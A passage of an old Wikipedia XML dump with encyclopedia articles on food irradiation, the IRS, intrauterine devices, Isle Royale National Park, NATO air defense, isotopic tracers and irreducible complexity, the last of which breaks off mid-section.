Activist websites frequently quote the unknown cancer risk of radiolytic byproducts such as 2-dodecylcyclobutanone or 2DCB as a source of concern citing mainly the work of Henry Delincee and Beatrice-Luise Pool Zobel. On several occasions has Dr. Delincee clarified that he does not agree with the interpretation of such activists[http://www.mnbeef.org/opinion_on_the_expert_affidavit_.htm],[http://www.fda.gov/ohrms/dockets/dockets/99f4372/99f-4372-bkg0001-Tab-56-Delincee.pdf]. Furthermore it has been established by the World Health Organization that sufficient research has been conducted to conclude that &quot;based on the current scientific evidence, including the long-term feeding studies, 2-DCB and 2-alkylcyclobutanones in general do not appear to pose a health risk to consumers.&quot;[http://www.cidrap.umn.edu/cidrap/files/32/who2003.pdf]Lastly any specific findings are specific to foods that contain triglycerides excluding many foods commonly irradiated from such concerns altogether. FDA has asked for repeated and conclusive testing of mutagenicity of 2DCBs in irradiated meat and the study performed by Sommers, C.H. and published in October 2005 under the title &quot;Toxicology Testing of the Unique Radiolytic Product 2-Dodecylcyclobutanone&quot; concluding that &quot;No 2-DCB induced mutagenesis was observed in any of the test systems, both with and without exogenous metabolic activation&quot; confirming previous findings [http://www.ars.usda.gov/research/publications/Publications.htm?seq_no_115=185057].

== Labeling ==
Labeling laws differ from country to country. In the US as in many other countries labeling regulations require the usage of the Radura symbol at the point of sale together with usage of the word &quot;irradiated&quot; or &quot;treated by irradiation&quot;. However, the meaning of the label is not consistent. The amount of irradiation used can vary and since there are no published standards, the amount of pathogens effected by irradiation can be variable as well. In addition, there are no regulations regarding the levels of pathogen reduction that must be achieved. Food that is processed as an ingredient by a restaurant or food processor is exempt from the labeling requirement.

== Economics == 

Widespread food irradiation is credited for some economic benefits. Some foods, particularly fruits and vegetables, are naturally restricted from sale on the global market, unless they are irradiated to prolong quality for transportation. Less spoilage at the receiving end means less discards, lowering the unit cost  Irradiation has also been used to reduce bacteria counts in seafood that is shipped over long distance.

Critics point out that the greatest food losses occur in warm, moist, lesser-developed countries, where the capital is lacking for existing storage technologies such as refrigeration, and other atmospheric controls. It might therefore be questionable if the most affected countries possess the resources to employ this technology. According to the IAEA registry,  however, more and more facilities are licenced in such regions.

Food irradiation does not provide a convenient total solution to food safety, it is in fact one alternative in a variety of food processing techniques; Furthermore irradiation can not undo the effects of spoilage that has already occurred prior to treatment. Most national regulations therefore do not permit a decrese in higenic standards in food handling if product is to be irradiated, but rather demand the same high quality prior to treatment. Food irradiation therefore can add to the complexity and cost of food processing if it does not replace any more costly alternative process. It should also be noted that irradiation does not prevent re-infestation or contamination of a product if exposed to the pathogen after treatment.

Insect pests can have a devastating effect on crop production. They can also transmit diseases that destroy crops and kill livestock and people. But, heavy reliance on pesticides raises environmental concerns and problems of pest adaptation and resistance. Hence, in many countries, minimizing insecticide use through the application of environmentally friendly and cost effective irradiation techniques has been given a priority.

== Alternatives ==
There are many alternative methods of [[Food preservation|food preservation]], such as [[Ultra-high temperature processing]], [[Vacuum Packing]] and [[Flash freezing]] however none can be so uniformly applied to such a wide range of foods as irradiation. Critics have stated that changes in Western dietary habits, and a seasonal availability of fresh produce could eliminate the need for irradiation.

Irradiation is sometimes used to facilitate the long distance shipments of food that, as with most other food, may contain bacteria which could eventually cause spoilage if the food is not sold quickly. In that sense it is feared by some critics that irradiation may negatively contribute in the effects of [[globalization]] claiming that a local and seasonal production may be a more effective, safer approach toward food safety.

== References ==
*Sipher, A.T. Food Irradiation: An FDA Report. FDA Papers, Oct. 1968
*Delincee, H. and Pool-Zobel, B. Genotoxic properties of 2-dodecylcyclobutanone, a compound formed on irradiation of food containing fat. Radiation Physics and Chemistry
*WHO Statement on 2-Dodecylcyclobutanone and Related Compounds 
Sommers, C.H. 2005. Toxicology Testing Of The Unique Radiolytic Product 2-Dodecylcyclobutanone

== See also ==
*[[Deinococcus radiodurans]]
*[[irradiated mail]]

== External links ==
*[http://www.phytosan.com/en/faq.php Irradiation FAQ provided by PHYTOSAN S.A. de C.V.(www.phytosan.com)]
*[http://www.phytosan.com/en/technology.php Irradiation technology provided by PHYTOSAN S.A. de C.V. (www.phytosan.com)]
*[http://www.mnbeef.org/opinion_on_the_expert_affidavit_.htm Comment by Dr. Henry Delincee on an Affidavit misrepresenting the conclusions of his study on unique radiolytical byproducts.]
*[http://www.fda.gov/ohrms/dockets/dockets/99f4372/99f-4372-bkg0001-Tab-56-Delincee.pdf Comment by Dr. Henry Delincee on Activists interpretations of work on 2-dodecyclcyclobutaneone]
*[http://www.mnbeef.org/statement_to%20public%20citizen.delincee.htm Comment by Dr. Henry Delincee towards public citizen publications]
*[http://www.cidrap.umn.edu/cidrap/files/32/who2003.pdf WHO Statement on 2-Dodecylcyclobutanone and Related Compounds]
*[http://www.ars.usda.gov/research/publications/Publications.htm?seq_no_115=185057 Sommers, C.H. 2005. Toxicology Testing Of The Unique Radiolytic Product 2-Dodecylcyclobutanone.]


[[Category:Food preservation]]

[[fr:Irradiation de la nourriture]]</text>
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  <page>
    <title>Internal Revenue Service</title>
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      <comment>Revert unsourced material having attenuated materiality to this article.</comment>
      <text xml:space="preserve">:''This is the most common use of IRS. For other uses, see [[IRS (disambiguation)]]''.
[[image:IRSSeal.JPG|thumb|Seal of the Internal Revenue Service]]
The '''Internal Revenue Service''' ('''IRS''') is the [[United States]] [[government agency]] that collects [[tax]]es and enforces the [[tax law]]s. It is a bureau of the [[United States Department of the Treasury|Department of the Treasury]].

==History==

In 1862, during the [[American Civil War|Civil War]], [[President of the United States|President]] [[Abraham Lincoln|Lincoln]] and [[Congress of the United States|Congress]] created the [[Commissioner of Internal Revenue]] and enacted an [[income tax]] to pay [[war]] expenses. The Commissioner is the head of the Internal Revenue Service.

The agency created to enforce these taxes was named for the internal revenue to be collected (and was formerly called the &quot;Bureau of Internal Revenue&quot;), in contrast to U.S. government institutions that collected external revenue through [[duty|duties]] and [[tariff]]s. The income tax was repealed 10 years later. In 1894, Congress revived the income tax, but the following year the [[United States Supreme Court]] ruled, in ''[[Pollock v. Farmers' Loan &amp; Trust Co.]],'' that taxes on [[capital gains]], [[dividends]], [[interest]], [[Economic_rent|rent]]s and the like were direct taxes on property, and that the statute in question was unconstitutional because it had not apportioned the direct taxes among the states according to population. In 1913, however, the states ratified the [[Sixteenth Amendment to the United States Constitution|16th Amendment]], which removed the requirement that income taxes (whether considered direct or indirect taxes) be apportioned by population.

In 1918, to finance [[World War I]], the top rate of the income tax rose to 77%. During the post-war years, the top rate was lowered to 24%, but rose again during the [[Great Depression]]. During [[World War II]], Congress introduced [[payroll withholding]] and quarterly tax payments, ostensibly as an emergency measure.

In the 1950s, career professional [[Employment|employees]] replaced the [[patronage]] system. Currently, only the IRS Commissioner and Chief Counsel are selected by the President and confirmed by the Senate. The Bureau of Internal Revenue name also was changed to the Internal Revenue Service to emphasize &quot;service&quot; to taxpayers.

As a by-product of the ''[[Internal Revenue Service Restructuring and Reform Act of 1998]]'', Pub. L. No. 105-206, 112 Stat. 685 (July 22, 1998), the IRS now functions under four major operating divisions: Large &amp; Mid-Size Business (LMSB), Small Business / Self-Employed (SB/SE), Wage and Investment (W&amp;I), and Tax Exempt &amp; Government Entities (TE/GE).

[[Image:IRS building on constitution avenue in DC.jpg|frame|right|IRS building on [[Constitution Avenue]] in [[Washington, D.C.]].]]
The main headquarters of the IRS is located at 1111 [[Constitution Avenue, N.W.]] in [[Washington, D.C.]]

Summary of Collections before Refunds by Type of Return, Fiscal Year 2003:
{| class=&quot;wikitable&quot;
! Type of Return        || Number of Returns || Gross Collections (Millions of [[United States dollar|US$]])
|-
| Individual Income Tax || 130,728,360       || 987,209
|-
| Corporate Income Tax  || 5,890,821         || 194,146
|-
| Employment Taxes      || 29,916,033        || 695,976
|-
| Gift Tax              || 287,456	     || 1,939
|-
| Excise Taxes          || 812,483	     || 52,771
|-
| Estate Tax            || 91,679	     || 20,888
|}
In fiscal year 2004, the IRS collected $43.1 billion in enforcement revenue. This is $5.5 billion or a 15 percent increase from fiscal 2003.

Recently, the IRS has altered its policies. The current Service plus Enforcement equals Compliance motto has led to more investigations of abusive tax schemes. 

The current Commissioner of Internal Revenue is [[Mark W. Everson]], who was confirmed by the U. S. Senate on May 1, 2003.

==See also==
* [[Taxation in the United States]]
* [[Non-profit corporation]]
* [[United States of America non-profit laws]]
* [[501(c)(3)]]
* [[527 group]]

==Further reading==
*Davis, Shelley L., and Mary Matalin. ''Unbridled Power: Inside the Secret Culture of the IRS''. New York: Harper Collins,  (ISBN 0887308295)
*[[David Cay Johnston|Johnston, David Cay]]. ''[[Perfectly Legal]]: The Covert Campaign to Rig Our Tax System to Benefit the Super Rich - and Cheat Everybody Else''. New York: Portfolio, 2003. (ISBN 1591840198)
*Rossotti, Charles O. ''Many Unhappy Returns: One Man's Quest To Turn Around The Most Unpopular Organization In America''. Cambridge: Harvard Business School Press, 2005. (ISBN 1591394414)
*[[William Roth|Roth, William V., Jr.]], and William H. Nixon. ''The Power to Destroy''. New York: Atlantic Monthly Press, 1999. (ISBN 0871137488)

==External links==
*[http://www.irs.gov/ Internal Revenue Service] Official website
*[http://www.neo-tech.com/irs-class-action/ IRS Abuse Reports] Claimed accounts of abuses against U.S. citizens by the IRS
*[http://evans-legal.com/dan/tpfaq.html Tax Protester FAQ] by Dan Evans rebuts claims of the illegitimacy of the income tax and the IRS
*[http://www.fairtax.org/ Americans for Fair Tax] argues for the replacement of the income tax with a consumption tax
*[http://tswrobel-law.com/nonprofit_resources/nonprofit_services.htm/ Helpful Resources on Tax Exempt Status - Links, Information, and Assistance]

[[Category:Internal Revenue Service| ]]

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  <page>
    <title>Islas Malvinas</title>
    <id>15376</id>
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      <timestamp>2005-08-25T08:04:39Z</timestamp>
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      <text xml:space="preserve">#REDIRECT [[Malvinas]]</text>
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    <title>Isotopic Tracer</title>
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  <page>
    <title>Intrauterine device</title>
    <id>15378</id>
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      <comment>/* Common misconceptions about IUDs */ «&quot;:&quot; → &quot;*: &quot;, &quot;eggicidal&quot; → &quot;ovicidal&quot;, &quot;:&quot; → &quot;*: &quot;, &quot;:&quot; → &quot;*: &quot;, &quot;:&quot; → &quot;*: &quot;» list syntax</comment>
      <text xml:space="preserve">An '''intrauterine device''' (''intra'' meaning within, and ''uterine'' meaning of the [[uterus]]) is a [[birth control]] device also known as an '''IUD''' or a '''coil''' (this colloquialism is based on the coil-shaped design of early IUDs). It is a device placed in the uterus and is the world's most widely used and inexpensive method of reversible birth control. The device has to be fitted inside or removed from the uterus by a doctor or qualified medical practitioner. It remains in place the entire time contraception is desired.  Depending on the type, IUDs can usually remain effective for 2, 5 or 10 years.

==Types of IUDs==
There are many types of IUDs worldwide, but only two types currently available in the United States: the copper-T intrauterine device (IUD) and the levonorgestrel-releasing intrauterine system (LNG IUS).

[[Image:IUDCPCopperT380A.gif|thumb|left|Photo of copper-T IUD]]
The copper-T IUD is marketed as ParaGard T 380A by [[FEI Women’s Health LLC]]. It was approved by the Food and Drug Administration (FDA) in 1984 and became available for use in 1988. The device consists of a T-shaped polyethylene frame that is wound with copper wire around the vertical stem and has copper bands on the lateral arms. The ParaGard T 380A is approved for up to 10 years of use, although limited data support its effectiveness for at least 12 years.

[[Image:IUDCPMirena.gif|thumb|Photo of LNG IUS]]
The LNG IUS, marketed by [[Berlex Laboratories]] as Mirena, consists of a T-shaped polyethylene frame with a reservoir around the vertical stem that contains [[levonorgestrel]]. It was approved for use by the FDA in 2000. Initially the LNG IUS releases levonorgestrel at a rate of 20 µg per day.[http://www.mirena-us.com/physician/whatis.html] This rate decreases to approximately half that rate by five years. It is indicated for up to five years of use, although limited data support its effectiveness for at least seven years.

==Effectiveness==
The hormonal IUD is as effective as the [[contraceptive pill]] at preventing pregnancy; and the copper IUDs effectiveness ranges from 98% to over 99% depending on the brand. IUDs can not protect from [[STDs]], and if an infection is caught whilst using an IUD it may be more likely to spread to the [[uterus]].

==Side-effects==
Copper IUDs may make [[menstrual periods]] heavier or more painful in some women, especially for the first few months after they are inserted, but modern types such as the [[GyneFix]] have been designed so that they usually do not affect periods (compare with [[IUS]]).

IUDs have remained unpopular in the USA since the [[Dalkon Shield]] IUD (which had a multi-filiment string) was banned after being linked to several deaths (the thick woven string hosted bacteria, which could spread to cause reproductive tract infections and occasionally fatalities). IUDs with monofiliment strings (including all modern IUDs) are much safer and complications are very rare&lt;!-- how rare? --&gt;.

It is commonly believed IUDs cause a greater risk of an [[ectopic pregnancy]]. However, recent studies have shown that women with IUDs actually have fewer ectopic pregnancies than women using no contraception. However, in the rare cases that a pregnancy occurs with an IUD in place that is not removed, it is more likely to be ectopic.

IUDs are not recommended for women who are suffering from a [[pelvic inflammatory disease]].

== Common misconceptions about IUDs ==
{{citation needed}}
* Primary method of pregnancy prevention is abortifacient
*: IUDs work by prompting the release of leukocytes and prostaglandins by the [[endometrium]].  These substances are hostile to both sperm and eggs; the presence of copper increases this spermicidal effect.  Although the only experimentally demonstrated effect is spermicidal/ovicidal, it is possible the IUD may rarely prevent the development of embryos{{ref|FHI-report}}{{ref|FHI-report2}}.

* Causes [[ectopic pregnancy|ectopic pregnancies]]
*: The risk of ectopic pregnancy to a woman using an IUD is lower than the risk of ectopic pregnancy to a woman using no form of birth control.  Of the tiny number of pregnancies that do occur, a higher than expected percentage is ectopic.

* Causes [[pelvic inflammatory disease]] (PID)
*: PID is primarily caused by certain [[sexually transmitted disease]]s (STDs).  While IUDs do not protect against STDs like barrier methods do, they also do not cause the infections.  In women who have STDs, however, use of an IUD increases the risk the infection will progress to PID.

* Needs to be removed for PID treatment
* Causes [[infertility]]
*: As mentioned previously, certain women may increase their risk of PID or ectopic pregnancy by choosing to use an IUD.  PID and ectopic pregnancy may adversely affect a woman's fertility.  However, women not at risk of PID will not increase their risk of infertility by using an IUD.

* Cannot be used in nulliparous women
* Needs to be removed if actinomyces-like organisms are seen on Pap test

==Use as emergency contraception==
Intrauterine devices can be used as [[emergency contraception]] to prevent pregnancy up to 5 days after unprotected [[sexual intercourse]], or sexual intercourse during which the primary contraception is believed to have failed (e.g. a [[condom]] was used, but it broke).  Insertion of a copper-T IUD as emergency contraception is more than 99% effective, making it more effective than [[morning-after pill|Emergency contraceptive pill]]s ('''ECP''' or 'morning-after pill').

IUDs may also be used where ECPs are less appropriate:
*ECP are contraindicated in those with severe [[liver]] disease or the very rare condition of [[porphyria]].
*ECP are currently licensed for only 3 days (72 hours) after coitus
*ECP will be ineffective if currently suffering from diarrhea or vomiting
*The effectiveness of ECP may be reduced by the herbal preparation [[St John's wort]] and enzyme-inducing drugs (e.g. [[antiepileptics]] or [[rifampicin]]).

== See also ==
* [[Vas-occlusive contraception]]

== References ==
#{{note|FHI-report}} [http://www.ghi.org Family Health International] &quot;Mechanisms of the Contraceptive Action of Hormonal Methods and Intrauterine Devices (IUDs)&quot; [http://www.fhi.org/en/RH/Pubs/factsheets/mechact.htm Report]
#{{note|FHI-report2}} [http://www.fhi.org/en/RH/Pubs/Network/v16_2/nt1623.htm IUDs Block Fertilization]. Family Health International. Network: Winter 1996, Vol. 16, No. 2.

== External links ==
* [http://www.arhp.org/healthcareproviders/resources/contraceptionresources/ Association of Reproductive Health Professionals Contraception Resource Center]
* [https://www.arhp.org/healthcareproviders/cme/onlinecme/IUDCP/TOC.cfm/ Association of Reproductive Health Professionals' Clinical Proceedings: New Developments in Intrauterine Contraception]
* [http://www.plannedparenthood.org/bc/iud.html Planned Parenthood: Understanding IUDs]

[[Category:Surgical contraception]]
[[Category:Hormonal contraception]]

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[[sv:Spiral (preventivmedel)]]</text>
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  <page>
    <title>Isle Royale National Park</title>
    <id>15379</id>
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      <text xml:space="preserve">{{Infobox_protected_area | name = Isle Royale National Park 
| iucn_category = Ib
| image = US_Locator_Blank.svg
| caption = 
| locator_x = 175
| locator_y = 27
| location = [[Michigan]], [[United States|USA]]
| nearest_city = [[Duluth, Minnesota|Duluth, MN]]
| lat_degrees = 48
| lat_minutes = 6
| lat_seconds = 0
| lat_direction = N
| long_degrees = 88
| long_minutes = 33
| long_seconds = 0
| long_direction = W
| area = 571,790 acres&lt;br&gt;(2,314 km&amp;sup2;)
| established = [[April 3]], [[1940]]
| visitation_num = 17,276
| visitation_year = 2004
| governing_body = [[National Park Service]]
}}
'''Isle Royale National Park''' is a [[U.S. National Park]] in the state of [[Michigan]]. [[Isle Royale]], the largest island in [[Lake Superior]], is over 45 miles (72 km) in length and 9 miles (14 km) wide at its widest point{{ref|dimensions}}; the park is made of Isle Royale itself and multiple smaller islands, along with all water up to 2.5 miles beyond the outer islands. Isle Royale National Park was established on [[April 3]], [[1940]], was designated as a [[Wilderness Area]] in [[1976]], and as an [[International Biosphere Reserve]] in [[1980]]. It is a relatively small national park at 894 square miles ([[1 E9 m²|2314 km&amp;sup2;]]), with only 209 square miles ([[1 E8 m²|542 km&amp;sup2;]]) above water. 

==Human history==
The island was once the site of a fishing industry, native copper mining and a resort community. Because numerous small islands surround Isle Royale, ships were once guided through the area by [[lighthouse]]s at [[Passage Island Lighthouse|Passage Island]], [[Rock Harbor Lighthouse|Rock Harbor]], [[Rock of Ages Lighthouse|Rock of Ages]], and [[Isle Royale Lighthouse]] on Menagerie Island.

==Natural history==
[[Image:IsleRoyaleMap.jpg|thumb|right|275px|Official map of Isle Royale National Park courtesy of NPS]]
===Ecology===
Isle Royale National Park is known for its [[wolf]] and [[moose]] populations which are studied by scientists investigating [[Predation|predator-prey relationships]] in a closed environment. There are usually around 25 wolves and 1000 moose on the island but the numbers change greatly year to year. In rare years with very hard winters, animals can travel over the frozen lake from the [[Canada|Canadian]] mainland. To protect the wolves from canine diseases, dogs are not allowed in any part of the park, including the adjacent waters.

===Geology===
Isle Royale greenstone ([[chlorastrolite]], a form of Pumpellyite) is found here, as well as on the [[Upper Peninsula of Michigan]]. It is the official Michigan state gemstone. 

==Recreation==
[[Image:Isle Royale aerial.jpg|thumb|right|275px|An aerial view of Isle Royale]]
The Greenstone Ridge is a high ridge in the center of the island and carries the longest trail in the park, the Greenstone Ridge trail, which runs 40 miles (60 km) from one end of the island to the other. This is generally done as a 4 or 5 day hike. A boat shuttle can carry hikers back to their starting port. In total there are 165 miles of hiking trails. There are also canoe/kayak routes, many involving portages, along coastal bays and inland lakes. 

==Services==
The park has two developed areas—Windigo, at the southwest end of the island (docking site for the ferries from Minnesota), with a campstore, showers, campsites, and boat dock; and [[Rock Harbor]] on the south side of the northeast end (docking site for the ferries from Michigan), with a campstore, showers, restaurant, lodge, campsites, and boat dock.

Sleeping accommodations at the park are limited to the lodge at Rock Harbor, and 36 designated wilderness campsites. Some campgrounds are accessible only by private boat; other campgrounds away from the lakeshore are accessible only by trail or by [[canoe]]/[[kayak]] on the interior lakes. The campsites vary in capacity, but typically include a small number of three-sided wood shelters (the fourth wall is screened) with floors and roofs, and a number of individual sites suitable for pitching a small tent. Some tent sites with space for groups of up to 10 are available, and require a special permit. The only amenities at the campsites are pit toilets. Campfires are not permitted; gas camp stoves are recommended. Drinking and cooking water must be drawn from local water sources (Lake Superior and inland lakes) and filtered to avoid parasites. Hunting is not permitted, but fishing is, and edible berries may be picked from the trail.

==Access==
The park is accessible by floatplane and by ferry during the summer months from [[Grand Portage, Minnesota]] and [[Houghton, Michigan|Houghton]] and [[Copper Harbor, Michigan|Copper Harbor]] in Michigan. Private boats travel to the island mainly from [[Thunder Bay, Ontario]], the closest city to the park.

Isle Royale is not popular with day-trippers because of the scheduling constraints of transportation to and from the park; with a round-trip travel time of 6-8 hours, the ferries that make this voyage on a daily basis have only a 2-3 hour layover at the island.  These ferries may delay - and in some situations cancel - trips during heavy weather. 

The ''Ranger III'' is a 165-foot (50 m) boat operated by the National Park Service. It is claimed to be the largest piece of equipment in the National Park system. It carries 125 passengers, and canoes and kayaks, and operates out of [[Houghton, Michigan]], a six-hour trip from the park, so it only travels one way each day, overnighting at the island. Currently it makes the crossing there and back only twice a week, June to mid-September. The ''Isle Royale Queen'' out of [[Copper Harbor, Michigan]] and the ''Wenonah'', out of [[Grand Portage, Minnesota]] operate round-trips daily in peak season, less frequently in spring and autumn. The ''Voyager'', also out of Grand Portage, circles the island with an overnight at Rock Harbor, providing water taxi service for lakeside campgrounds.

Due to the difficulty of travel and the hazards of wilderness survival during the winter months, it is the only major [[National Park Service]] park to close entirely for the season. Because of the relative difficulty of reaching the park and its seasonal closing, only some 20,000 people a year visit Isle Royale, fewer than visit the most popular national parks in a single day. 

==List of islands within or adjacent to Isle Royale National Park==

*Amygdaloid Island - has a ranger station
*Beaver Island - has a campground
*Belle Isle - has a campground
*Caribou Island - has a campground
*Grace Island
*Johns Island
*Long Island
*Menagerie Island - has a lighthouse
*Mott Island - summer park headquarters
*Passage Island - has a lighthouse and short trail
*Raspberry Island - has a nature trail
*Rock of Ages - has a lighthouse
*Ryan Island (Siskiwit Lake) - the largest island in the largest lake on the largest island in the largest lake in the world
*Tookers Island - has a campground
*Washington Island - has a campground
*Wright Island

==References==
# {{note|dimensions}} {{Web reference | title=Isle Royal National Park | work=National Park Service | URL=http://www.nps.gov/isro/index.htm | date=October 13 | year=2005}}

==External links==
* Official site: [http://www.nps.gov/isro/ Isle Royale National Park]
* [http://www.isle.royale.national-park.com/info.htm Isle Royale National Park info page]

{{National parks of the United States}}

[[Category:1940 establishments]]
[[Category:Michigan landmarks]]
[[Category:National Parks of the United States]]
[[Category:Upper Peninsula of Michigan]]

[[de:Isle-Royale-Nationalpark]]
[[fr:Isle Royale National Park]]</text>
    </revision>
  </page>
  <page>
    <title>INADS</title>
    <id>15380</id>
    <revision>
      <id>28912639</id>
      <timestamp>2005-11-21T15:49:18Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">'''INADS''' can refer to:
*[[Centre for Inadmissible Passengers]]
*[[Initialization and Administration System]] 
*[[Integrated Naval Air Defense Simulation]]
*[[Integrated NATO Air Defense System]]
*[[Investigational New Animal Drugs]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Integrated NATO Air Defense System</title>
    <id>15381</id>
    <revision>
      <id>15912857</id>
      <timestamp>2005-02-06T17:07:59Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:NATO]]</comment>
      <text xml:space="preserve">'''Integrated [[NATO]] Air Defense System''' or '''INADS''' was the NATO response to the [[Russia]]n development of long range [[bomber]]s in the [[1950s]]. The need to maintain a credible deterrence when early warning and intercept times were massively reduced led to the development of an improved air defense (AD) system.

Development was approved by the [[NATO Military Committee]] in December 1955. The system was to be based on four air defense regions (ADRs) coordinated by [[Supreme Allied Commander|SACEUR]] (Supreme Allied Commander Europe). Starting from [[1956]] early warning coverage was extended across [[Western Europe]] using eighteen radar stations. This part of the system was completed by [[1962]]. Linked to existing national radar sites the coordinated system was called the [[NATO Air Defense Ground Environment]] ([[NADGE]]). By [[1972]] NADGE consisted of 84 radar stations and associated control and reporting centers (CRC). The current system is Air Command and Control System (ACCS).

From [[1960]] NATO countries agreed to place all their air defense forces under the command of SACEUR in the event of war. These forces included command and control systems, radar installations, and Surface-to-Air (SAM) missile units as well as interceptor fighters.
[[Category:NATO]]</text>
    </revision>
  </page>
  <page>
    <title>Invisible balance</title>
    <id>15382</id>
    <revision>
      <id>15912858</id>
      <timestamp>2005-05-06T00:45:57Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:International trade]]</comment>
      <text xml:space="preserve">The '''invisible balance''' is that part of the [[balance of trade]] figures that refers to services and commercial [[money]] transfer that does not result in the transfer of physical objects. Examples include consulting services, tourism, and patent license revenues. This figure is usually generated by [[tertiary industry]].

In countries with more developed economies, this is a very important part of the figure, as a more developed economy is liable to import basic goods and food owing to the cheaper costs of production (especially labour) abroad. In order to get the balance of trade positive, the invisible balance must be greater than the negative effect of the visible balance.
[[Category:International trade]]
[[fr:Balance des invisibles]]</text>
    </revision>
  </page>
  <page>
    <title>Isotopic tracer</title>
    <id>15383</id>
    <revision>
      <id>35433960</id>
      <timestamp>2006-01-16T19:24:22Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: fr</comment>
      <text xml:space="preserve">An '''isotopic tracer''', (also &quot;isotopic marker&quot; or &quot;isotopic label&quot;), is used in [[chemistry]] and [[biochemistry]] to help understand chemical [[Chemical reaction|reactions]] and interactions. In this technique, one or more of the [[atom]]s of the [[molecule]] of interest is substituted for an atom of the same [[chemical element]], but of a different (often [[radioactive]], such as in [[Radioactive tracer|radioactive tracing]]) [[isotope]]. Because the atom has the same number of protons, it will behave in almost exactly the same way chemically as other atoms in the compound, and with few exceptions will not interfere with the reaction under investigation.  The difference in the number of [[neutron]]s, however, means that it can be detected separately from the other atoms of the same element.

[[Nuclear magnetic resonance|NMR]] typically uses this type of technique to investigate the mechanisms of chemical reactions (basically trying to find out which starting atom ends up where after a reaction), because NMR detects not only isotopic differences, but also gives an indication of the position of the atom.

[[Mass_spectrometer|Mass spectrometry]] can also be used with this technique, since mass spectra recorded with sufficiently high resolution can distinguish among isotopes based on the different masses resulting from the different number of neutrons.

Autoradiograms of gels in [[gel electrophoresis]] can also take advantage of this approach.  In this technique, radioactive isotopes are used.  The radiation emitted by compounds containing the radioactive isotopes darkens a piece of [[photographic film]], recording the position of these compounds relative to one another in the gel.

==See also==
*[[Radionuclide#Uses|Uses of radionuclides]]

[[Category:Physical chemistry]]
[[Category:Biochemistry]]

[[fr:Traceur isotopique]]</text>
    </revision>
  </page>
  <page>
    <title>Irreducible complexity</title>
    <id>15387</id>
    <revision>
      <id>42052492</id>
      <timestamp>2006-03-03T13:50:05Z</timestamp>
      <contributor>
        <username>Peter Grey</username>
        <id>268253</id>
      </contributor>
      <minor />
      <comment>/* Criticisms of irreducible complexity */</comment>
      <text xml:space="preserve">{{creationism2}}

'''Irreducible complexity''' is a controversial concept invoked in support of [[intelligent design]] which claims that the generally accepted [[scientific theory]] that [[life]] evolved through biological [[evolution]] by [[natural selection]] is incomplete and flawed and that some additional mechanism is required to explain the origins of life. An '''[[Irreducible (philosophy)|irreducibly]] [[Complexity|complex]]''' system is defined as one that could not possibly have been formed by successive, slight modifications to a functional precursor system.

The concept was popularized by [[Lehigh University]] [[biochemist]] and Fellow of the [[Discovery Institute]] [[Michael Behe]] in his [[1996]] book ''[[Darwin's Black Box]]'', wherein Behe argued that there are biochemical systems which are &quot;irreducibly complex&quot; because he saw no way in which these systems could be broken down into smaller functioning systems. With this argument, the book in effect supports what is known as [[intelligent design]], a form of the [[argument from design]], which is one of the arguments for the existence of a [[supernatural]] [[deity]].

In 2001, [[Michael Behe]] admitted that his work had a &quot;defect&quot; and does not actually address &quot;the task facing natural selection.&quot;{{ref|behe_reply}} Furthermore, the concept of irreducible complexity is ignored or rejected by the majority of the [[scientific community]]. This rejection stems from the following: the concept utilises an [[argument from ignorance]], Behe fails to provide a testable [[hypothesis]], and there is a lack of [[evidence]] in support of the concept. As such, irreducible complexity is seen by the supporters of [[evolutionary theory]] as an example of [[creationist]] [[pseudoscience]], amounting to a [[God of the gaps]] argument.

In the 2005 [[Kitzmiller v. Dover Area School District|Kitzmiller v. Dover Area School District trial]] Behe testified under oath that irreducible complexity did not rule out known evolutionary mechanisms and that there are no peer-reviewed articles supporting his argument that certain complex molecular structures are &quot;irreducibly complex.&quot; [http://en.wikisource.org/wiki/Kitzmiller_v._Dover_Area_School_District_4:_whether_ID_is_science#Page_88_of_139] The result of the trial was the [[Wikisource:Kitzmiller v. Dover Area School District 6: curriculum, conclusion#H. Conclusion|ruling]] that intelligent design is not science and is essentially religious in nature. 


==Irreducible complexity (IC) ==
An early concept of irreducibly complex systems comes from [[Ludwig von Bertalanffy]], a 20th Century Austrian biologist, though he never used the term 'irreducible complexity' in his works{{ref|Bertalanffy}}. He believed that complex systems must be examined as complete, [[irreducible (philosophy)|irreducible]] systems in order to fully understand how they work. He extended his work on biological complexity into a general theory of systems in a book titled ''[[Systems theory|General Systems Theory]]''.  
After [[James D. Watson|James Watson]] and [[Francis Crick]] published the structure of [[DNA]] in the early 1950s, General Systems Theory lost many of its adherents in the physical and biological sciences.  [[Jacques Monod]]'s ''Chance and Necessity'' provides a good discussion of the &quot;triumph&quot; of the mechanistic view in biochemistry.  Systems theory remained popular among social sciences long after its demise in the physical and biological sciences.  
[[Michael Behe]] uses the term &quot;irreducible complexity&quot; in his 1996 book ''[[Darwin's Black Box]]'', to refer to certain complex biochemical [[Cell (biology)|cellular]] systems. He posits that evolutionary mechanisms cannot explain the development of such 'irreducibly complex' systems. Notably, Behe credits philosopher [[William Paley]] for the original concept, not Von Bertalanffy, and suggests that his application of the concept to biological systems is entirely original.
Intelligent design advocates argue that irreducibly complex systems must have been deliberately engineered by some form of intelligence.

According to the theory of evolution, genetic variations occur without specific design or intent.  The environment &quot;selects&quot; the variants that have the highest fitness, which are then passed on to the next generation of organisms.  Change occurs by the gradual operation of natural forces over time, perhaps slowly, perhaps more quickly (see [[punctuated equilibrium]]).  This process is able to &quot;create&quot; complex structures from simpler beginnings, or convert complex structures from one function to another (see [[spandrel]]).  Most intelligent design advocates accept that evolution occurs through mutation and natural selection at the &quot;micro level,&quot; such as changing the relative frequency of various beak lengths in finches, but assert that it cannot account for irreducible complexity, because none of the parts of an irreducible system would be functional or advantageous until the entire system is in place.  

